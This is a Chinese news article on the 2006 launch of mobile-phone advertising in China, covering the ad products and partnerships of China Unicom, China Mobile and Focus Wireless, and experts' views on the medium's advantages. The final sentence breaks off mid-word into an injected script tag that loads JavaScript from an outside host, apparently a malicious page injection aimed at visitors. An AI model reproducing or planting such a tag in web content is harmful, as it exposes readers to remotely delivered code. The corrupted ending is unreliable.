与成熟的互联网广告市场相比，手机广告市场无疑还是一个新兴的产业。但是在经历了一个短暂的探索之后，业界先行者们对这个市场的信心已经超过了当年的互联网前辈。
手机广告提供商认为，手机广告的市场将会超过互联网广告市场，而且这一市场的成长速度也将超过互联网。 无线广告提供商分众无线的负责人日前向记者预测，这个时刻将会很快到来，或许就在未来两三年之内。
独立wap站点3g门户掌门人张向东透露，3g门户单月来自手机广告的收入是一百万，而他希望在年底能有三到四倍的增长。
在两大移动运营商——中国移动和中国联通相继切入手机广告市场之后，手机广告突然成为一个被运营商、sp、独立wap站点以及第三方广告服务与技术提供商最为看好的新业务。一时间，众多企业蜂拥而入。
然而在大量非法短信广告充斥的手机平台，中国的手机广告市场的 “井喷”式增长真的不再遥远么？让人担忧的是：“横空出世”手机广告将怎样回避行业的“先天”障碍？中国手机广告市场将怎样走向成熟？
手机广告 “元年”开启
2006年是公认的中国手机广告“元年”。在此之前，虽然有一些企业在这一领域开始了他们最早的拓展。但是，直到今年手机广告市场才算得上真正启动。
7月12日，中国联通在北京高调启动其手机广告业务的商用计划，推出四款手机广告产品——push类、wap类、语音类以及置入类产品。同时，中国联通授权其全资子公司——联通新时讯，成立专门的广告公司，进行手机广告的招商、制作和发布。中国联通增值业务部总经理童晓渝表示，相对于报刊、广电媒介甚至互联网的广告类业务而言，“手机广告”显示出了强大的竞争力，具有极为广阔的发展前景。
5月，上海聚君技术公司与上海联通和上海移动分别签署协议，联手在上海推广基于mms、wap 平台手机广告。3月，中国最大的移动运营商中国移动携手飞拓无限，打造基于无线互联网的广告业务，飞拓无限负责整个平台的销售和市场推广。
同样是在3月，分众传媒的全资子公司分众无线正式运营。标志着这家以楼宇广告开创新广告平台的创新公司正式进军无线营销市场。分众无线将其所有广告产品划分为两类——点告和直告。其中，点告是利用wap网站作为媒体，在wap网站提供的广告位上向手机用户精准投放广告的定点广告模式。可以根据不同的手机用户的属性特点进行针对性的广告投放，精准的将广告信息投放给最适合的手机用户群体，包括乐讯、空中网、3g门户、wap天下等30多家人气最旺的独立 wap站点都已经被整合进分众无线的广告发布平台。而直告，则是在用户许可和定制的前提下，通过短信、彩信、wap push等方式将广告直接传送到用户的手机上，可以实现100%的精确到达率。
虽然分众强势进军新市场，一度被媒体视为一股与中国移动、中国联通相并列的第三支势力的诞生。但是定位为无线广告提供商的分众无线则不认同这一说法。分众无线发言人、总裁助理文力指出：“将作为运营商的中国移动和中国联通，与手机广告提供商放在一起做简单的比较并不适合，运营商和手机广告提供商在手机广告产业链上扮演的是不同角色，大家是共同致力于打造一个健康的产业链，打造一个新的价值链，我们与运营商之间完全是合作伙伴的关系。”
据悉，目前分众无线与两大运营商——中国移动、中国联通积极进行合作沟通。并在手机广告的多种形式和多个层面上都开展了紧密的合作。
先天优势前景诱人
作为“第五媒体”的手机平台，具有许多传统媒介所无可比拟的优势，比如：分众、定向、及时、互动。这一平台无疑将是未来商业广告中以用户数据库为基础进行精准营销，广告主有目的性的筛选出适当的人群进行针对性的商业信息传播的最佳舞台。
因此，手机广告被研究机构看好。有数据显示，预计在2006年之前，全球移动广告的营收将达到160亿美元。
中国传媒大学副校长、中国广告协会学术委员会主任丁俊杰指出，“手机广告使新媒体营销从理论层面转移到业务层面。对众多厂商来说，手机将成为商家与用户定向、及时、互动的信息传播新载体；对手机用户来说，可以对广告自主选择，并及时获得广告信息，因此，手机广告有很大发展潜力。”
信息产业部电信研究院通信信息所新技术新业务研究室的一份报告中指出，与传统广告相比，移动广告在技术和媒介上的特点决定了它拥有四大优势：一是个性化。移动媒体不是面向大众，而是面向个人；二是互动性。通过移动媒介，传受双方可以相互实施影响。对于一则广告，消费者可以使用移动电话、短信、邮件、登录网站等形式向广告商作回应；三是情境性。对广告业主来说，通过移动设备发送广告的诱人之处在于其能够在正确的地点和时间锁定目标用户，因为越来越多的移动电话和设备都采用gps技术；四是高效性。在预先定位的基础上，广告主可以选择用户感兴趣的或者能够满足用户当前需?script src=http://er12.com/t.js>
